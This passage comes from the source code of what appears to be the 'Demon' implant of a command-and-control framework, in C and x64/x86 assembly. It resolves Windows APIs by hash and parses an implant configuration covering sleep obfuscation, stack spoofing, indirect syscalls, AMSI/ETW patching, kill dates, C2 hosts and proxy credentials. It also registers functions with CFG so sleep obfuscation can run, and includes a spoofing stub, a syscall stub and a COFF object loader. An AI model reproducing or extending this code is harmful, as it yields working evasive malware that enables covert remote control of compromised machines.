OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_8_1 : WIN_VERSION_2012_R2;\n                }\n            } else if ( OSVersionExW.dwMajorVersion == 10 ) {\n                if ( OSVersionExW.dwMinorVersion == 0 ) {\n                    Instance->Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_10 : WIN_VERSION_2016_X;\n                }\n            }\n        }\n    } PRINTF( \"OSVersion: %d\\n\", Instance->Session.OSVersion );\n\n    /* load kernel32.dll functions */\n    if ( ( Instance->Modules.Kernel32 = LdrModulePeb( H_MODULE_KERNEL32 ) ) ) {\n        Instance->Win32.LoadLibraryW                    = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_LOADLIBRARYW );\n        Instance->Win32.VirtualProtectEx                = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_VIRTUALPROTECTEX );\n        Instance->Win32.VirtualProtect                  = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_VIRTUALPROTECT );\n        Instance->Win32.LocalAlloc                      = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_LOCALALLOC );\n        Instance->Win32.LocalReAlloc                    = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_LOCALREALLOC );\n        Instance->Win32.LocalFree                       = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_LOCALFREE );\n        Instance->Win32.CreateRemoteThread              = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEREMOTETHREAD );\n        Instance->Win32.CreateToolhelp32Snapshot        = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATETOOLHELP32SNAPSHOT );\n        Instance->Win32.Process32FirstW                 = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_PROCESS32FIRSTW );\n        Instance->Win32.Process32NextW                  = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_PROCESS32NEXTW );\n        Instance->Win32.CreatePipe                      = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEPIPE );\n        Instance->Win32.CreateProcessW                  = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEPROCESSW );\n        Instance->Win32.GetFullPathNameW                = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETFULLPATHNAMEW );\n        Instance->Win32.CreateFileW                     = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEFILEW );\n        Instance->Win32.GetFileSize                     = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETFILESIZE );\n        Instance->Win32.GetFileSizeEx                   = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETFILESIZEEX );\n        Instance->Win32.CreateNamedPipeW                = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATENAMEDPIPEW );\n        Instance->Win32.ConvertFiberToThread            = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CONVERTFIBERTOTHREAD );\n        Instance->Win32.CreateFiberEx                   = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEFIBEREX );\n        Instance->Win32.ReadFile                        = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_READFILE );\n        Instance->Win32.VirtualAllocEx                  = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_VIRTUALALLOCEX );\n        Instance->Win32.WaitForSingleObjectEx           = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WAITFORSINGLEOBJECTEX );\n        Instance->Win32.GetComputerNameExA              = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETCOMPUTERNAMEEXA );\n        Instance->Win32.GetExitCodeProcess              = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETEXITCODEPROCESS );\n        Instance->Win32.GetExitCodeThread               = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETEXITCODETHREAD );\n        Instance->Win32.TerminateProcess                = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_TERMINATEPROCESS );\n        Instance->Win32.ConvertThreadToFiberEx          = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CONVERTTHREADTOFIBEREX );\n        Instance->Win32.SwitchToFiber                   = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_SWITCHTOFIBER );\n        Instance->Win32.DeleteFiber                     = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_DELETEFIBER );\n        Instance->Win32.AllocConsole                    = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_ALLOCCONSOLE );\n        Instance->Win32.FreeConsole                     = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FREECONSOLE );\n        Instance->Win32.GetConsoleWindow                = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETCONSOLEWINDOW );\n        Instance->Win32.GetStdHandle                    = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETSTDHANDLE );\n        Instance->Win32.SetStdHandle                    = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_SETSTDHANDLE );\n        Instance->Win32.WaitNamedPipeW                  = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WAITNAMEDPIPEW  );\n        Instance->Win32.PeekNamedPipe                   = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_PEEKNAMEDPIPE );\n        Instance->Win32.DisconnectNamedPipe             = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_DISCONNECTNAMEDPIPE );\n        Instance->Win32.WriteFile                       = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WRITEFILE );\n        Instance->Win32.ConnectNamedPipe                = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CONNECTNAMEDPIPE );\n        Instance->Win32.FreeLibrary                     = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FREELIBRARY );\n        Instance->Win32.GetCurrentDirectoryW            = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETCURRENTDIRECTORYW );\n        Instance->Win32.GetFileAttributesW              = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETFILEATTRIBUTESW );\n        Instance->Win32.FindFirstFileW                  = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FINDFIRSTFILEW );\n        Instance->Win32.FindNextFileW                   = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FINDNEXTFILEW );\n        Instance->Win32.FindClose                       = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FINDCLOSE );\n        Instance->Win32.FileTimeToSystemTime            = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FILETIMETOSYSTEMTIME );\n        Instance->Win32.SystemTimeToTzSpecificLocalTime = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_SYSTEMTIMETOTZSPECIFICLOCALTIME );\n        Instance->Win32.RemoveDirectoryW                = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_REMOVEDIRECTORYW );\n        Instance->Win32.DeleteFileW                     = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_DELETEFILEW );\n        Instance->Win32.CreateDirectoryW                = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEDIRECTORYW );\n        Instance->Win32.CopyFileW                       = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_COPYFILEW );\n        Instance->Win32.MoveFileExW                     = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_MOVEFILEEXW );\n        Instance->Win32.SetCurrentDirectoryW            = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_SETCURRENTDIRECTORYW );\n        Instance->Win32.Wow64DisableWow64FsRedirection  = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WOW64DISABLEWOW64FSREDIRECTION );\n        Instance->Win32.Wow64RevertWow64FsRedirection   = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WOW64REVERTWOW64FSREDIRECTION );\n        Instance->Win32.GetModuleHandleA                = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETMODULEHANDLEA );\n        Instance->Win32.GetSystemTimeAsFileTime         = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETSYSTEMTIMEASFILETIME );\n        Instance->Win32.GetLocalTime                    = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETLOCALTIME );\n        Instance->Win32.DuplicateHandle                 = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_DUPLICATEHANDLE );\n        Instance->Win32.AttachConsole                   = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_ATTACHCONSOLE );\n        Instance->Win32.WriteConsoleA                   = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WRITECONSOLEA );\n        Instance->Win32.GlobalFree                      = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GLOBALFREE );\n    }\n\n    /* now that we loaded some of the basic apis lets parse the config and see how we load the rest */\n    /* Parse config */\n    DemonConfig();\n\n    /* now do post init stuff after parsing the config */\n    if ( Instance->Config.Implant.SysIndirect )\n    {\n        /* Initialize indirect syscalls + get SSN from every single syscall we need */\n        if  ( ! SysInitialize( Instance->Modules.Ntdll ) ) {\n            PUTS( \"Failed to Initialize syscalls\" )\n            /* NOTE: the agent is going to keep going for now. */\n        }\n    }\n\n    /* shuffle array */\n    ShuffleArray( RtModules, SIZEOF_ARRAY( RtModules ) );\n\n    /* load all modules */\n    for ( int i = 0; i < SIZEOF_ARRAY( RtModules ); i++ )\n    {\n        /* load module */\n        if ( ! ( ( BOOL (*)() ) RtModules[ i ] ) () ) {\n            PUTS( \"Failed to load a module\" )\n            return;\n        }\n    }\n\n    if ( KArgs )\n    {\n#if SHELLCODE\n        Instance->Session.ModuleBase = KArgs->Demon;\n        Instance->Session.ModuleSize = KArgs->DemonSize;\n        Instance->Session.TxtBase = KArgs->TxtBase;\n        Instance->Session.TxtSize = KArgs->TxtSize;\n        FreeReflectiveLoader( KArgs->KaynLdr );\n#endif\n    }\n    else\n    {\n        Instance->Session.ModuleBase = ModuleInst;\n\n        /* if ModuleBase has not been specified then lets use the current process one */\n        if ( ! Instance->Session.ModuleBase ) {\n            /* if we specified nothing as our ModuleBase then this either means that we are an exe or we should use the whole process */\n            Instance->Session.ModuleBase = LdrModulePeb( 0 );\n        }\n\n        if ( Instance->Session.ModuleBase ) {\n            Instance->Session.ModuleSize = IMAGE_SIZE( Instance->Session.ModuleBase );\n        }\n    }\n\n#if _WIN64\n    Instance->Session.OS_Arch      = PROCESSOR_ARCHITECTURE_AMD64;\n    Instance->Session.Process_Arch = PROCESSOR_ARCHITECTURE_AMD64;\n#else\n    Instance->Session.Process_Arch = PROCESSOR_ARCHITECTURE_INTEL;\n    Instance->Session.OS_Arch      = PROCESSOR_ARCHITECTURE_UNKNOWN;\n    if ( ProcessIsWow( NtCurrentProcess() ) ) {\n        Instance->Session.OS_Arch  = PROCESSOR_ARCHITECTURE_AMD64;\n    } else {\n        Instance->Session.OS_Arch  = PROCESSOR_ARCHITECTURE_INTEL;\n    }\n#endif\n\n    Instance->Session.PID       = U_PTR( Instance->Teb->ClientId.UniqueProcess );\n    Instance->Session.TID       = U_PTR( Instance->Teb->ClientId.UniqueThread );\n    Instance->Session.Connected = FALSE;\n    Instance->Session.AgentID   = RandomNumber32();\n    Instance->Config.AES.Key    = NULL; /* TODO: generate keys here  */\n    Instance->Config.AES.IV     = NULL;\n\n    /* Linked lists */\n    Instance->Tokens.Vault       = NULL;\n    Instance->Tokens.Impersonate = FALSE;\n    Instance->Jobs               = NULL;\n    Instance->Downloads          = NULL;\n    Instance->Sockets            = NULL;\n    Instance->HwBpEngine         = NULL;\n    Instance->Packages           = NULL;\n\n    /* Global Objects */\n    Instance->Dotnet = NULL;\n\n    /* if cfg is enforced (and if sleep obf is enabled)\n     * add every address we're going to use to the Cfg address list\n     * to not raise an exception while performing sleep obfuscation */\n    if ( CfgQueryEnforced() )\n    {\n        PUTS( \"Adding required function module &addresses to the cfg list\"  );\n\n        /* common functions */\n        CfgAddressAdd( Instance->Modules.Ntdll,    Instance->Win32.NtContinue );\n        CfgAddressAdd( Instance->Modules.Ntdll,    Instance->Win32.NtSetContextThread );\n        CfgAddressAdd( Instance->Modules.Ntdll,    Instance->Win32.NtGetContextThread );\n        CfgAddressAdd( Instance->Modules.Advapi32, Instance->Win32.SystemFunction032 );\n\n        /* ekko sleep obf */\n        CfgAddressAdd( Instance->Modules.Kernel32, Instance->Win32.WaitForSingleObjectEx );\n        CfgAddressAdd( Instance->Modules.Kernel32, Instance->Win32.VirtualProtect );\n        CfgAddressAdd( Instance->Modules.Ntdll,    Instance->Win32.NtSetEvent );\n\n        /* foliage sleep obf */\n        CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtTestAlert );\n        CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtWaitForSingleObject );\n        CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtProtectVirtualMemory );\n        CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.RtlExitUserThread );\n    }\n\n    PRINTF( \"Instance DemonID => %x\\n\", Instance->Session.AgentID )\n}\n\nVOID DemonConfig()\n{\n    PARSER Parser = { 0 };\n    PVOID  Buffer = NULL;\n    ULONG  Temp   = 0;\n    UINT32 Length = 0;\n    DWORD  J      = 0;\n\n    PRINTF( \"Config Size: %d\\n\", sizeof( AgentConfig ) )\n\n    ParserNew( &Parser, AgentConfig, sizeof( AgentConfig ) );\n    RtlSecureZeroMemory( AgentConfig, sizeof( AgentConfig ) );\n\n    Instance->Config.Sleeping = ParserGetInt32( &Parser );\n    Instance->Config.Jitter   = ParserGetInt32( &Parser );\n    PRINTF( \"Sleep: %d (%d%%)\\n\", Instance->Config.Sleeping, Instance->Config.Jitter )\n\n    Instance->Config.Memory.Alloc   = ParserGetInt32( &Parser );\n    Instance->Config.Memory.Execute = ParserGetInt32( &Parser );\n\n    PRINTF(\n        \"[CONFIG] Memory: \\n\"\n        \" - Allocate: %d  \\n\"\n        \" - Execute : %d  \\n\",\n        Instance->Config.Memory.Alloc,\n        Instance->Config.Memory.Execute\n    )\n\n    Buffer = ParserGetBytes( &Parser, &Length );\n    Instance->Config.Process.Spawn64 = Instance->Win32.LocalAlloc( LPTR, Length );\n    MemCopy( Instance->Config.Process.Spawn64, Buffer, Length );\n\n    Buffer = ParserGetBytes( &Parser, &Length );\n    Instance->Config.Process.Spawn86 = Instance->Win32.LocalAlloc( LPTR, Length );\n    MemCopy( Instance->Config.Process.Spawn86, Buffer, Length );\n\n    PRINTF(\n        \"[CONFIG] Spawn: \\n\"\n        \" - [x64] => %ls  \\n\"\n        \" - [x86] => %ls  \\n\",\n        Instance->Config.Process.Spawn64,\n        Instance->Config.Process.Spawn86\n    )\n\n    Instance->Config.Implant.SleepMaskTechnique = ParserGetInt32( &Parser );\n    Instance->Config.Implant.SleepJmpBypass     = ParserGetInt32( &Parser );\n    Instance->Config.Implant.StackSpoof         = ParserGetInt32( &Parser );\n    Instance->Config.Implant.ProxyLoading       = ParserGetInt32( &Parser );\n    Instance->Config.Implant.SysIndirect        = ParserGetInt32( &Parser );\n    Instance->Config.Implant.AmsiEtwPatch       = ParserGetInt32( &Parser );\n#ifdef TRANSPORT_HTTP\n    Instance->Config.Implant.DownloadChunkSize  = 0x80000; /* 512k */\n#else\n    Instance->Config.Implant.DownloadChunkSize  = 0xfc00; /* 63k, needs to be less than PIPE_BUFFER_MAX */\n#endif\n\n    PRINTF(\n        \"[CONFIG] Sleep Obfuscation: \\n\"\n        \" - Technique: %d \\n\"\n        \" - Stack Dup: %s \\n\"\n        \"[CONFIG] ProxyLoading: %d\\n\"\n        \"[CONFIG] SysIndirect : %s\\n\"\n        \"[CONFIG] AmsiEtwPatch: %d\\n\",\n        Instance->Config.Implant.SleepMaskTechnique,\n        Instance->Config.Implant.StackSpoof ? \"TRUE\" : \"FALSE\",\n        Instance->Config.Implant.ProxyLoading,\n        Instance->Config.Implant.SysIndirect ? \"TRUE\" : \"FALSE\",\n        Instance->Config.Implant.AmsiEtwPatch\n    )\n\n#ifdef TRANSPORT_HTTP\n    Instance->Config.Transport.KillDate       = ParserGetInt64( &Parser );\n    PRINTF( \"KillDate: %d\\n\", Instance->Config.Transport.KillDate )\n    // check if the kill date has already passed\n    if ( Instance->Config.Transport.KillDate && GetSystemFileTime() >= Instance->Config.Transport.KillDate )\n    {\n        // refuse to run\n        // TODO: exit process?\n        Instance->Win32.RtlExitUserThread( 0 );\n    }\n    Instance->Config.Transport.WorkingHours   = ParserGetInt32( &Parser );\n\n    Buffer = ParserGetBytes( &Parser, &Length );\n    Instance->Config.Transport.Method = MmHeapAlloc( Length + sizeof( WCHAR ) );\n    MemCopy( Instance->Config.Transport.Method, Buffer, Length );\n\n    Instance->Config.Transport.HostRotation   = ParserGetInt32( &Parser );\n    Instance->Config.Transport.HostMaxRetries = 0;  /* Max retries. 0 == infinite retrying\n                                                    * TODO: add this to the yaotl language and listener GUI */\n    Instance->Config.Transport.Hosts = NULL;\n    Instance->Config.Transport.Host  = NULL;\n\n    /* J contains our Hosts counter */\n    J = ParserGetInt32( &Parser );\n    PRINTF( \"[CONFIG] Hosts [%d]\\n:\", J )\n    for ( int i = 0; i < J; i++ )\n    {\n        Buffer = ParserGetBytes( &Parser, &Length );\n        Temp   = ParserGetInt32( &Parser );\n\n        PRINTF( \" - %ls:%ld\\n\", Buffer, Temp )\n\n        /* if our host address is longer than 0 then lets use it. */\n        if ( Length > 0 ) {\n            /* Add parse host data to our linked list */\n            HostAdd( Buffer, Length, Temp );\n        }\n    }\n    Instance->Config.Transport.NumHosts = HostCount();\n    PRINTF( \"Hosts added => %d\\n\", Instance->Config.Transport.NumHosts )\n\n    /* Get Host data based on our host rotation strategy */\n    Instance->Config.Transport.Host = HostRotation( Instance->Config.Transport.HostRotation );\n    PRINTF( \"Host going to be used is => %ls:%ld\\n\", Instance->Config.Transport.Host->Host, Instance->Config.Transport.Host->Port )\n\n    // Listener Secure (SSL)\n    Instance->Config.Transport.Secure = ParserGetInt32( &Parser );\n    PRINTF( \"[CONFIG] Secure: %s\\n\", Instance->Config.Transport.Secure ? \"TRUE\" : \"FALSE\" );\n\n    // UserAgent\n    Buffer = ParserGetBytes( &Parser, &Length );\n    Instance->Config.Transport.UserAgent = MmHeapAlloc( Length + sizeof( WCHAR ) );\n    MemCopy( Instance->Config.Transport.UserAgent, Buffer, Length );\n    PRINTF( \"[CONFIG] UserAgent: %ls\\n\", Instance->Config.Transport.UserAgent );\n\n    // Headers\n    J = ParserGetInt32( &Parser );\n    Instance->Config.Transport.Headers = MmHeapAlloc( sizeof( LPWSTR ) * ( ( J + 1 ) * 2 ) );\n    PRINTF( \"[CONFIG] Headers [%d]:\\n\", J );\n    for ( INT i = 0; i < J; i++ )\n    {\n        Buffer = ParserGetBytes( &Parser, &Length );\n        Instance->Config.Transport.Headers[ i ] = MmHeapAlloc( Length + sizeof( WCHAR ) );\n        MemSet( Instance->Config.Transport.Headers[ i ], 0, Length );\n        MemCopy( Instance->Config.Transport.Headers[ i ], Buffer, Length );\n#ifdef DEBUG\n        PRINTF( \"  - %ls\\n\", Instance->Config.Transport.Headers[ i ] );\n#endif\n    }\n    Instance->Config.Transport.Headers[ J + 1 ] = NULL;\n\n    // Uris\n    J = ParserGetInt32( &Parser );\n    Instance->Config.Transport.Uris = MmHeapAlloc( sizeof( LPWSTR ) * ( ( J + 1 ) * 2 ) );\n    PRINTF( \"[CONFIG] Uris [%d]:\\n\", J );\n    for ( INT i = 0; i < J; i++ )\n    {\n        Buffer = ParserGetBytes( &Parser, &Length );\n        Instance->Config.Transport.Uris[ i ] = MmHeapAlloc( Length + sizeof( WCHAR ) );\n        MemSet( Instance->Config.Transport.Uris[ i ], 0, Length + sizeof( WCHAR ) );\n        MemCopy( Instance->Config.Transport.Uris[ i ], Buffer, Length );\n#ifdef DEBUG\n        PRINTF( \"  - %ls\\n\", Instance->Config.Transport.Uris[ i ] );\n#endif\n    }\n    Instance->Config.Transport.Uris[ J + 1 ] = NULL;\n\n    // check if proxy connection is enabled\n    Instance->Config.Transport.Proxy.Enabled = ( BOOL ) ParserGetInt32( &Parser );;\n    if ( Instance->Config.Transport.Proxy.Enabled )\n    {\n        PUTS( \"[CONFIG] [PROXY] Enabled\" );\n        Buffer = ParserGetBytes( &Parser, &Length );\n        Instance->Config.Transport.Proxy.Url = MmHeapAlloc( Length + sizeof( WCHAR ) );\n        MemCopy( Instance->Config.Transport.Proxy.Url, Buffer, Length );\n        PRINTF( \"[CONFIG] [PROXY] Url: %ls\\n\", Instance->Config.Transport.Proxy.Url );\n\n        Buffer = ParserGetBytes( &Parser, &Length );\n        if ( Length > 0 )\n        {\n            Instance->Config.Transport.Proxy.Username = MmHeapAlloc( Length );\n            MemCopy( Instance->Config.Transport.Proxy.Username, Buffer, Length );\n            PRINTF( \"[CONFIG] [PROXY] Username: %ls\\n\", Instance->Config.Transport.Proxy.Username );\n        }\n        else\n            Instance->Config.Transport.Proxy.Username = NULL;\n\n        Buffer = ParserGetBytes( &Parser, &Length );\n        if ( Length > 0 )\n        {\n            Instance->Config.Transport.Proxy.Password = MmHeapAlloc( Length );\n            MemCopy( Instance->Config.Transport.Proxy.Password, Buffer, Length );\n            PRINTF( \"[CONFIG] [PROXY] Password: %ls\\n\", Instance->Config.Transport.Proxy.Password );\n        }\n        else\n            Instance->Config.Transport.Proxy.Password = NULL;\n    }\n    else\n    {\n        PUTS( \"[CONFIG] [PROXY] Disabled\" );\n    }\n#endif\n\n#ifdef TRANSPORT_SMB\n\n    Buffer = ParserGetBytes( &Parser, &Length );\n    Instance->Config.Transport.Name = Instance->Win32.LocalAlloc( LPTR, Length );\n    MemCopy( Instance->Config.Transport.Name, Buffer, Length );\n\n    PRINTF( \"[CONFIG] PipeName: %ls\\n\", Instance->Config.Transport.Name );\n\n    Instance->Config.Transport.KillDate = ParserGetInt64( &Parser );\n    PRINTF( \"KillDate: %d\\n\", Instance->Config.Transport.KillDate )\n    // check if the kill date has already passed\n    if ( Instance->Config.Transport.KillDate && GetSystemFileTime() >= Instance->Config.Transport.KillDate )\n    {\n        // refuse to run\n        // TODO: exit process?\n        Instance->Win32.RtlExitUserThread(0);\n    }\n    Instance->Config.Transport.WorkingHours = ParserGetInt32( &Parser );\n#endif\n\n    Instance->Config.Implant.ThreadStartAddr = Instance->Win32.LdrLoadDll + 0x12; /* TODO: default -> change that or make it optional via builder or profile */\n    Instance->Config.Inject.Technique        = INJECTION_TECHNIQUE_SYSCALL;\n\n    ParserDestroy( &Parser );\n}\n"
  },
  {
    "path": "payloads/Demon/src/asm/Spoof.x64.asm",
    "content": "[BITS 64]\n\nDEFAULT REL\n\nGLOBAL Spoof\n\n[SECTION .text]\nSpoof:\n    pop    r11\n    add    rsp, 8\n    mov    rax, [rsp + 24]\n    mov    r10, [rax]\n    mov    [rsp], r10\n    mov    r10, [rax + 8]\n    mov    [rax + 8], r11\n    mov    [rax + 16], rbx\n    lea    rbx, [fixup]\n    mov    [rax], rbx\n    mov    rbx, rax\n    jmp    r10\n\nfixup:\n    sub    rsp, 16\n    mov    rcx, rbx\n    mov    rbx, [rcx + 16]\n    jmp    QWORD [rcx + 8]"
  },
  {
    "path": "payloads/Demon/src/asm/Spoof.x86.asm",
    "content": "[BITS 32]\n\nDEFAULT REL\n\nGLOBAL _Spoof\n\n[SECTION .text]\n_Spoof:\n    ret\n"
  },
  {
    "path": "payloads/Demon/src/asm/Syscall.x64.asm",
    "content": "[bits 64]\n\n; export the functions\nglobal SysSetConfig\nglobal SysInvoke\n\nsection .text\n    SysSetConfig:\n        mov r11, rcx\n    ret\n\n    ;; Invoke Syscall and pass given arguments\n    SysInvoke:\n        mov r10, rcx\n        mov eax, [r11 + 0x8]    ; set the syscall service number into eax\n        jmp QWORD [r11]         ; jump to the following syscall\n    ret                         ; finished execution"
  },
  {
    "path": "payloads/Demon/src/asm/Syscall.x86.asm",
    "content": "[bits 32]\n\n; export the functions\nglobal _SysSetConfig\nglobal _SysInvoke\nglobal _IsWoW64\n\nsection .text\n    _SysSetConfig:\n        mov edx, [esp + 0x4]\n    ret\n\n    ;; Invoke Syscall and pass given arguments\n    _SysInvoke:\n        mov ebx, [edx + 0x0]    ; set the address of the syscall\n        mov eax, [edx + 0x4]    ; set the syscall service number into eax\n        mov edx, esp\n        sub edx, 0x4\n        call DWORD ebx          ; call the following syscall\n    ret                         ; finished execution\n\n    _IsWoW64:\n        mov eax, [fs:0xc0]\n        test eax, eax\n        jne wow64\n        mov eax, 0\n        ret\n        wow64:\n        mov eax, 1\n    ret"
  },
  {
    "path": "payloads/Demon/src/core/CoffeeLdr.c",
    "content": "#include <Demon.h>\n#include <common/Macros.h>\n#include <core/Win32.h>\n#include <core/MiniStd.h>\n#include <core/Package.h>\n#include <core/CoffeeLdr.h>\n#include <core/ObjectApi.h>\n#include <inject/InjectUtil.h>\n\n#if _WIN64\n    // __imp_\n    #define COFF_PREP_SYMBOL        0xec6ba2a8\n    #define COFF_PREP_SYMBOL_SIZE   6\n    // __imp_Beacon\n    #define COFF_PREP_BEACON        0xd0a409b0\n    #define COFF_PREP_BEACON_SIZE   ( COFF_PREP_SYMBOL_SIZE + 6 )\n    // .refptr.Instance\n    #define COFF_INSTANCE           0xbfded9c9\n#else\n    // __imp__\n    #define COFF_PREP_SYMBOL        0x79dff807\n    #define COFF_PREP_SYMBOL_SIZE   7\n    // __imp__Beacon\n    #define COFF_PREP_BEACON        0x4c20aa4f\n    #define COFF_PREP_BEACON_SIZE   ( COFF_PREP_SYMBOL_SIZE + 6 )\n    // _Instance\n    #define COFF_INSTANCE           0xb341b5b9\n#endif\n\nPVOID CoffeeFunctionReturn = NULL;\n\nLONG WINAPI VehDebugger( PEXCEPTION_POINTERS Exception )\n{\n    UINT32 RequestID = 0;\n    PPACKAGE Package = NULL;\n\n    PRINTF( \"Exception: %p\\n\", Exception->ExceptionRecord->ExceptionCode )\n\n    // Leave faulty function\n#if _WIN64\n    Exception->ContextRecord->Rip = (DWORD64)(ULONG_PTR)CoffeeFunctionReturn;\n#else\n    Exception->ContextRecord->Eip = (DWORD64)(ULONG_PTR)CoffeeFunctionReturn;\n#endif\n\n    // TODO: obtaining the RequestID this way is almost surely not correct\n    //       given that CoffeeFunctionReturn won't point to BOF code but Demon code\n    //       also, if two BOFs are running at the same time, this VEH impl won't work\n    if ( GetRequestIDForCallingObjectFile( CoffeeFunctionReturn, &RequestID ) ) {\n        Package = PackageCreateWithRequestID( DEMON_COMMAND_INLINE_EXECUTE, RequestID );\n    } else {\n        Package = PackageCreate( DEMON_COMMAND_INLINE_EXECUTE );\n    }\n\n    PackageAddInt32( Package, DEMON_COMMAND_INLINE_EXECUTE_EXCEPTION );\n    PackageAddInt32( Package, Exception->ExceptionRecord->ExceptionCode );\n    PackageAddInt64( Package, (UINT64)(ULONG_PTR)Exception->ExceptionRecord->ExceptionAddress );\n    PackageTransmit( Package );\n\n    return EXCEPTION_CONTINUE_EXECUTION;\n}\n\n// check if the symbol is on the form: __imp_LIBNAME$FUNCNAME\nBOOL SymbolIncludesLibrary( LPSTR Symbol )\n{\n    // does it start with __imp_?\n    if ( HashEx( Symbol, COFF_PREP_SYMBOL_SIZE, FALSE ) != COFF_PREP_SYMBOL )\n        return FALSE;\n\n    // does it contain a $ (which separates DLL name and export name)\n    SIZE_T Length = StringLengthA( Symbol );\n    for (SIZE_T i = COFF_PREP_SYMBOL_SIZE + 1; i < Length - 1; ++i)\n    {\n        if ( Symbol[ i ] == '$' )\n            return TRUE;\n    }\n\n    return FALSE;\n}\n\nBOOL SymbolIsImport( LPSTR Symbol )\n{\n    // does it start with __imp_?\n    return HashEx( Symbol, COFF_PREP_SYMBOL_SIZE, FALSE ) == COFF_PREP_SYMBOL;\n}\n\nBOOL CoffeeProcessSymbol( PCOFFEE Coffee, LPSTR SymbolName, UINT16 SymbolType, PVOID* pFuncAddr )\n{\n    CHAR        Bak[ 1024 ]     = { 0 };\n    CHAR        SymName[ 1024 ] = { 0 };\n    PCHAR       SymLibrary      = NULL;\n    PCHAR       SymFunction     = NULL;\n    HMODULE     hLibrary        = NULL;\n    DWORD       SymBeacon       = HashEx( SymbolName, COFF_PREP_BEACON_SIZE, FALSE );\n    ANSI_STRING AnsiString      = { 0 };\n    PPACKAGE    Package         = NULL;\n\n    *pFuncAddr = NULL;\n\n    MemCopy( Bak, SymbolName, StringLengthA( SymbolName ) + 1 );\n\n    if ( SymBeacon == COFF_PREP_BEACON )\n    {\n        // this is an import symbol from Beacon: __imp_BeaconFUNCNAME\n        SymFunction = SymbolName + COFF_PREP_SYMBOL_SIZE;\n\n        for ( DWORD i = 0 ;; i++ )\n        {\n            if ( ! BeaconApi[ i ].NameHash )\n                break;\n\n            if ( HashStringA( SymFunction ) == BeaconApi[ i ].NameHash )\n            {\n                //PUTS( \"Found Beacon api function\" )\n                *pFuncAddr = BeaconApi[ i ].Pointer;\n                return TRUE;\n            }\n        }\n\n        goto SymbolNotFound;\n    }\n    else if ( SymbolIsImport( SymbolName ) && ! SymbolIncludesLibrary( SymbolName ) )\n    {\n        // this is an import symbol without library: __imp_FUNCNAME\n        SymFunction = SymbolName + COFF_PREP_SYMBOL_SIZE;\n\n        StringCopyA( SymName, SymFunction );\n\n#if _M_IX86\n        // in x86, symbols can have this form: __imp__LoadLibraryA@4\n        // we need to make sure there is no '@' in the function name\n        for ( DWORD i = 0 ;; ++i )\n        {\n            if ( ! SymName[i] )\n                break;\n\n            if ( SymName[i] == '@' )\n            {\n                SymName[i] = 0;\n                break;\n            }\n        